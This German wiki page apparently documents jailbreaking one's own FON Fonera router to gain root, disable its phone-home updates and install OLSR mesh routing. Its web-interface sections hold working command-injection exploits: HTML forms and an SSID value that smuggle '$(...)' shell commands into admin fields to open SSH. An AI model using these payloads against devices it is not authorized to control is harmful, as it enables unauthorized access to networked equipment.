Fonera
ACHTUNG, diese Seite ist noch längst nicht ausgereift und soll (erst) nur einen Anhaltspunkt sein
Adrian Dabrowski hat auf der Funkfeuer Convention am 24.11.2006 einen Vortrag über Hardware Hacking gehalten, in dem es auch um die Fonera ging. Die Folien kann man hier downloaden:
Inhaltsverzeichnis
About
Die Fonera ist ein Wlan Router, der von http://www.fon.com verwendet wird, um mit dem Internetzugang anderer Leute Geld zu verdienen.
Die Fonera kostet $/ 29,95 und ist damit eigendlich recht günstig.
es gibt schon einige Möglichkeiten die Fonera Firmware zu ändern,
zum Beispiel einfach das bestehende Betriebsystem verändern,
es gibt jedoch auch schon Lösungen die ein komplett neues Betriebssystem aufspielen.
Es wird wohl nicht mehr lange dauern, bis fertige Software zur Verfügung steht, wie es bei den Linksysen bekannt ist, die Frage ist, ob FON nicht einiges dagegen unternehmen wird, z.b Änderung der Hardware.
Wichtig ist deshalb, dass man eine neue Fonera nicht erst ins Internet lässt, sondern gleich "bearbeitet"
Nachteile
- die Fonera ist eigendlich nicht dazu gedacht, dass man damit herumspielt, deshalb kommt man nur über Tricks hinein
- die Fonera hat ein extrem langsames Flash, das booten dauert länger als das Flashen bei einem WRT54GL ;-)
- die Pakete die es momentan gibt, sind fast alle experimentell, deshalb gibt es noch keine Webinterfaces etc. (es wird daran aber schon sehr intensiv gearbeit)
- die Originalfirmware ist auf USA eingestellt, damit sind nur die Kanäle 1-11 verfügbar, es wird daran gearbeitet...
Systemeigenschaften im Originalzustand
Software
- Linux 2.4.36
- 2 WIFI Netze
- Privat, WPA, Lokales LAN + Internet
- Public, Captive Portal, nur Internet
- Captive Portal: Chilli
- Phoning Home
Hardware
- MIPS CPU
- Router600mA @ 5V (3W)
- Atheros Chipset -> Linux MADWIFI
- PSMA Antenne, 2,2dbi
- Atheros -90/-93dbm.
zum Vergleich: Linksys -65dBm@54Mbps, -80dBm@11Mbps
- 8 MB Serial Flash / 16 MB Flash
- Low Cost
Hacking
es gibt 2 wesentliche Methoden, wie man in die Fonera kommt, das Ziel ist aber immer das Gleiche:
eine Console mit root-Rechten zu erhalten
Es ist nützlich, sich zuerst die Methoden anzusehen, und dann eine auszuwählen.
Übersicht
FON hat in die Fonera einiges an Software hineingepackt, die "nach Hause telefoniert", um Updates einzuspielen, und als Heartbeat, das gilt es erst mal zu deaktivieren, FON könnte ja Updates einspielen.
Serielle Console
die Fonera hat im Inneren eine Stiftleiste, auf der eine Serielle Konsole mit 3,3V pegel liegt.
- VCC (3.3V) red
- GND blue
- RX white
- TX orange
Aufgrund der 3,3V kann man die Fonera nicht direkt an einen PC anstecken, man braucht dazu erst einen Level Shifter.
Geeignet ist der MAX3232
Schaltbild:
der MAX232, der einen konsolenpegel von 5V auf die Pegel des PCs bringt, funktioniert auch, man muss nur Vcc auf die 5V des netzteils anstatt der 3,3V der Stiftleiste legen eventuell kann man aber nur empfangen? die Fonera hat meinen ENTERs zumindest nicht Folge geleistet ;-)
und nun starten wir auf dem PC/Laptop etc einen seriellen Konsolenclient mit den Einstellungen:
Speed 9600,n,8,1
- Windows:
Start>Programme>Zubehoer>Kommunikation>HyperTerminal und dann eine neue Verbindung mit den obigen Einstellungen
- Linux:
picocom -b 9600 /dev/ttyUSB0
gilt bei USB-RS232 Kabel. Gegebenenfalls /dev/ttyS0 ... bei seriellem Kabel.
Jetzt, wo wir Shell Zugriff haben, was machen wir nun?
SSH Server
als Erstes starten wir den SSH Server
/etc/init.d/dropbear start
Autostart für SSH Server einrichten
mv /etc/init.d/dropbear /etc/init.d/S50dropbear
Firewall
nun editieren wir die Firewall:
vi /etc/firewall.user
mit i in den Insert-Mode gehen
die # vor den folgenden Zeilen wegnehmen:
iptables -t nat -A prerouting_rule -i $WAN -p tcpdport 22 -j ACCEPT iptables -A input_rule -i $WAN -p tcpdport 22 -j ACCEPT
ESC drücken, :wq eingeben und ENTER zum Speichern und den Editor zu verlassen
nun machen wir die Änderungen an der Firewall Aktiv:
/etc/firewall.user
nach Hause telefonieren Teil 1
Die Updatefunktion muss natürlich ausgeschaltet werden
hier editieren wir das Shell-Script, das das erledigt
vi /bin/thinclient
und machen bei der letzten Zeile ein # davor
# . /tmp/.thinclient.sh
das script startet sich ausserdem noch beim Systemstart,
also /etc/init.d/N40thinclient in z.b /etc/init.d/noN40thinclient umbenennen
mv /etc/init.d/N40thinclient /etc/init.d/noN40thinclient
nach Hause telefonieren Teil 2
unser editiertes Shellscript wird jede Stunde aufgerufen, unser Edit hilft aber nur, das eigendliche Script, was der Server schickt zu deaktivieren.
wer sehen will, was FON mit der Fonera anstellen wollte, kann das was jetzt kommt gerne weglassen, ich persöhnlich hasse allerdings Spionage.
also editieren wir den cronjob:
in der Datei /etc/crontabs/root ist original folgendes eingetragen:
0 * * * * /bin/thinclient cron
das editieren wir zu
#0 * * * * /bin/thinclient cron
oder löschen den Eintrag ganz hinaus
wir könnten zwar auch den crond stoppen, allerdings braucht Sven-Ola's OLSR paket einen cronjob
nach Hause telefonieren Teil 3
ja, die FON-Leute sind echt nervend ;-) es verbirgt sich noch ein kleiner heartbeat in /etc/init.d/N10conncheck
also
vi /etc/init.d/N10conncheck
und folgende Zeilen auskommentieren oder löschen:
while [ -z "$(/usr/bin/wget "http://download.fon.com/heartbeat.php" -O-)" ]; do sleep 1 done
Webinterface
getestet mit 0.7.0 r4
ACHTUNG: habe unlängst eine weitere fonera bekommen, und versucht per Webhack reinzukommen, hat nicht mehr funktioniert. FON hat anscheinend (endlich) einen Patch dagegen aufgespielt dieser hack funktioniert somit nur mit alten Versionen, am Besten ausprobieren ansonsten kann man auch beim FONERA Hacking Part IV weiter gehn, das ging bei meiner Fonera. Wie lang es dauert bis FON den bug gefixt kann keiner sagen, bei mir hats funktioniert (Mitte Jan 2007)
hier nutzen wir einen Bug im AdminInterface
der Trick ist, dass wir hier einen Bug ausnützen. wir können nämlich in Eingabefeldern Befehle hineinschreiben, ohne dass die software das erkennt und abbricht.
bei einem marktreifen Produkt sollte sowas wirklich nicht sein!!
nahut, gehn wirs an.
dazu erstellen wir uns erst einmal 2 HTML files:
seite1.html:
<html>
<head></head><body><center>
<form method="post" action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp dport 22 -j ACCEPT)" size="68" />
<input type="submit" name="submit" value="Submit" />
</form>
</center></body></html>
seite2.html:
<html>
<head></head><body><center>
<form method="post" action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/etc/init.d/dropbear)" size="68" ><input type="submit" name="submit" value="Submit" />
</form>
</center></body></html>
nun stellen wir die LAN-Verbindung des PC/Laptops ein:
IP: 169.254.255.2 Subnet mask: 255.255.255.0
nun kann es losgehen:
Seite 1 aufrufen und auf Submit drücken.
am FON router einloggen
Default Login: username: admin passwort: admin
nun sieht man wahrscheinlich HTML quelltext im browser, auch das permission denied ganz oben ist normal.
nun Seite2 aufrufen und auf Submit drücken.
SSH Server
wenn nun alles geklappt hat kann man mit putty auf 169.254.255.1 connecten. dort als root und mit dem Passwort einloggen.
nun kommt im Grunde fast das Selbe wie bei Serieller Verbindung, nur dass wir einiges eben gerade eh schon gestartet haben.
Autostart für SSH Server einrichten
mv /etc/init.d/dropbear /etc/init.d/S50dropbear
Firewall
nun editieren wir die Firewall:
vi /etc/firewall.user
mit i in den Insert-Mode gehen
die # vor den folgenden Zeilen wegnehmen:
iptables -t nat -A prerouting_rule -i $WAN -p tcpdport 22 -j ACCEPT iptables -A input_rule -i $WAN -p tcpdport 22 -j ACCEPT
ESC drücken, :wq eingeben und ENTER zum Speichern und den Editor zu verlassen
nun machen wir die Änderungen an der Firewall Aktiv:
/etc/firewall.user
nach Hause telefonieren Teil 1
Die Updatefunktion muss natürlich ausgeschaltet werden
hier editieren wir das Shell-Script, das das erledigt
vi /bin/thinclient
und machen bei der letzten Zeile ein # davor
# . /tmp/.thinclient.sh
das script startet sich ausserdem noch beim Systemstart,
also /etc/init.d/N40thinclient in z.b /etc/init.d/noN40thinclient umbenennen
mv /etc/init.d/N40thinclient /etc/init.d/noN40thinclient
nach Hause telefonieren Teil 2
unser editiertes Shellscript wird jede Stunde aufgerufen, unser Edit hilft aber nur, das eigendliche Script, was der Server schickt zu deaktivieren.
wer sehen will, was FON mit der Fonera anstellen wollte, kann das was jetzt kommt gerne weglassen, ich persöhnlich hasse allerdings Spionage.
also editieren wir den cronjob:
in der Datei /etc/crontabs/root ist original folgendes eingetragen:
0 * * * * /bin/thinclient cron
EDIT: seit einiger Zeit ist auch schon ein NTP Client dabei, der von ntp1.linuxmedialabs.com updatet. Ev. auf at.pool.ntp.org ändern. (Das ist ein Serverpool, siehe http://pool.ntp.org)
das editieren wir zu
#0 * * * * /bin/thinclient cron
oder löschen den Eintrag ganz hinaus
wir könnten zwar auch den crond stoppen, allerdings braucht Sven-Ola's OLSR paket einen cronjob.
nach Hause telefonieren Teil 3
ja, die FON-Leute sind echt nervend ;-) es verbirgt sich noch ein kleiner heartbeat in /etc/init.d/N10conncheck
also
vi /etc/init.d/N10conncheck
und folgende Zeilen auskommentieren oder löschen:
while [ -z "$(/usr/bin/wget "http://download.fon.com/heartbeat.php" -O-)" ]; do sleep 1 done
FONERA Hacking Part IV by datacop :-)
getestet mit 0.7.1 r1
ich hab durch ausprobieren einen weiteren Bug gefunden, der sehr elegant ist :-)
Addresseinstellungen wie bei obigen Hack:
IP: 169.254.255.2 Subnet mask: 255.255.255.0
der Trick:
bei Public Wireless Settings einfach in die SSID folgendes eintragen:
$(/etc/init.d/dropbear)
dann abschicken und schon kann man beim Webinterfacehack bei SSH Server weiter machen.
OLSR
Achtung: der untere Abschnitt dieser Seite kann noch einige bis viele Fehler enthalten ;-)
um die Fonera im FunkFeuer Netzwerk verwenden zu können, muss das Routing Protokoll OLSR installiert werden.
Vorarbeit
am Router
hier wird erst mal alles deaktiviert, was wir auf der Fonera eindeutig nicht brauchen können / haben wollen.
das wäre zum Ersten der Chillispot, also
/etc/init.d/N50chillispot
z.b wie oben in noN50chillispot umbenennen
somit hätten wir das Public WLAN deaktiviert.
nun kommt das Private WLAN dran. dies ist momentan nötig, da der WLAN driver einige bugs hat, und das leider vor Allem im Ad-Hoc modus.
also öffnen wir /sbin/ifup im Editor und editieren folgende Zeilen (ziemlich am Ende):
case "$1" in mgmt) setup_management eth0 ;; lan|lan_noinet) ifdown lan #setup_lan_wifi << auskommentieren, so wie hier ifconfig ath1 >/dev/null 2>/dev/null && { setup_interface lan ath1 }
nun sollte nichts mehr im Wege stehen, OLSR und Ad-Hoc zu installieren / konfigurieren
natürlich muss zum installieren eine Internetverbindung aufgebaut sein, also sind die schritte oben wichtig, dass man sich durch ein automatisches update nicht selbst wieder aussperrt.
an Dokumentation
bevor man irgendwas an der Fonera installiert sollte man sich zu erst mal anschaun was das Ding eigendlich macht ;-)
also http://olsrexperiment.de/sven-ola/fonera/readme.txt durchlesen
ein sehr guter Rat:
!!! No warranties, no complaints. This is experimental stuff. If you want to remove the ff-fonera-pack, issue "rm -r /jffs/*" and reboot by pulling the plug. This restores the standard FON router function. !!!
Installieren
erst prüfen wir, ob auch wirklich internet und DNS funktionieren:
ping google.at
nun Sven-Ola's OLSR Pakete installieren:
ipkg install http://olsrexperiment.de/sven-ola/fonera/ff-fonera-pack_0.2-1_mips.ipk
das braucht reichlich Zeit, also wirklich abwarten bis alles fertig ist ;-)
zudem versucht die Fonera durch einen Falscheintrag in /etc/ipkg.conf auf 169.254.255.2 zu connecten (was natürlich nicht geht, da das eine Private IP ist):
src sven-ola ftp://169.254.255.2/upload/fonera
nach dem
Configuring kmod-madwifi...Done.
sollte die Fonera fertig sein, lieber noch ne Minute warten (zur Sicherheit) , und dann ist das installieren fertig :-)
dadurch, dass die Prozesse im Hintergrund gestartet wurden wird man root@OpenWrt:~# erst sehen wenn man ENTER drückt.
Konfigurieren
S20madwifi-freifunk
als erstes öffnen wir /etc/init.d/S20madwifi-freifunk im Editor
nun ändern wir am Beginn IP, Netzmaske und BSSID.
export FF_IP=193.238.15x.x/22 export FF_BSSID=aa:bb:cc:dd:ee:ff
nun schaun wir uns die Letzte Zeile an:
für eine Omni auf kanal 1 würde das so aussehen:
iwconfig $FREIDEV mode ad-hoc essid freiesnetz.funkfeuer.at channel 1 key off frag off rts 250 ap $FF_BSSID
OLSR selbst
da es nicht sinnvoll ist, die OLSR Startdatei/Config bei jeder Fonera zu bearbeiten, machen wir unser eigenes Startscript:
erst benennen wir die originale /etc/init.d/S53olsrd in noS53olsrd um, damit nicht 2 OLSRds zu starten (hat sehr interessante Auswirkungen ;-))
nun erstellen wir in /etc/init.d/ eine Datei namens S81olsrd
Inhalt:
#!/bin/sh test -n "$FAILSAFE" && exit WIFIDEV=$(l=$(grep : /proc/net/wireless);echo ${l%%:*}) test -z "$WIFIDEV" && echo "No Wifi!">&2 && exit test -d /etc/crontabs && cdir=/etc/crontabs test -d /var/spool/cron/crontabs && cdir=/var/spool/cron/crontabs case $1 in start) echo "Starting olsrd..." test -d /var/etc || mkdir -p /var/etc cat>>/var/etc/olsrd.conf<<EOF DebugLevel 0 IpVersion 4 AllowNoInt yes Pollrate 0.1 TcRedundancy 2 MprCoverage 7 LinkQualityFishEye 1 LinkQualityWinSize 50 LinkQualityDijkstraLimit 0 5.0 LoadPlugin "olsrd_txtinfo.so.0.1" { PlParam "Accept" "192.168.0.0/24" } IpcConnect { MaxConnections 1 Host 127.0.0.1 Net 192.168.0.0 255.255.255.0 } LinkQualityLevel 2 UseHysteresis no Interface "$WIFIDEV" { HelloInterval 5.0 HelloValidityTime 90.0 TcInterval 5.0 TcValidityTime 270.0 MidInterval 15.0 MidValidityTime 90.0 HnaInterval 15.0 HnaValidityTime 90.0 } EOF olsrd -f /var/etc/olsrd.conf if [ -n "$cdir" ] && ! grep -q cron.olsrd $cdir/root; then echo "0-59/1 * * * * /usr/sbin/cron.olsrd">>$cdir/root echo "root" >> $cdir/cron.update fi ;; stop) echo "Stopping olsrd..." if [ -n "$cdir" ]; then sed $cdir/root -e "/cron.olsrd/d">>$cdir/root.$$ mv $cdir/root.$$ $cdir/root echo "root" >> $cdir/cron.update fi killall olsrd ;; restart) $0 stop $0 start ;; *) echo "Usage: $0 start|stop|restart" ;; esac
wenn alles funktioniert hat, ist die Fonera nun bereit, in das MeshNetz integriert zu werden.
aber Achung: immer schaun, dass der OLSR nur die Externe IP per WLAN verbreitet, dass kann sonst üble Auswirkungen auf das ganze Netz haben.
Links
http://jauzsi.hu/2006/10/13/inside-of-the-fonera
http://wiki.freifunk-hannover.de/Fonera_mit_OLSR - FreiFunk Hannover WIKI
http://www.mariomix.net/mariomix-blog/2006/11/hacking-la-fonera-parte-3/ - Hacking Part 3
http://www.notmart.org/index.php/BlaBla/Hacking_la_fonera..._part_III - noch eine Anleitung Hacking Part 3, englisch
http://bingobommel.blogspot.com/ - Hacking Part 2
http://olsrexperiment.de/sven-ola/fonera/ - Sven-Ola's Pakete, OLSR
http://fon.rogue.be/lafonera-0.7.0-rev4/
http://fon.rogue.be/lafonera-experimental/
http://www.art-xtreme.com/blog/20061017/activar-ssh-en-la-fonera/ - Serieller Hack
http://www.easy2design.de/bla/?page_id=98 - Wenn der Fonera die KernelPanic-Krankheit hat: Debricking and more :)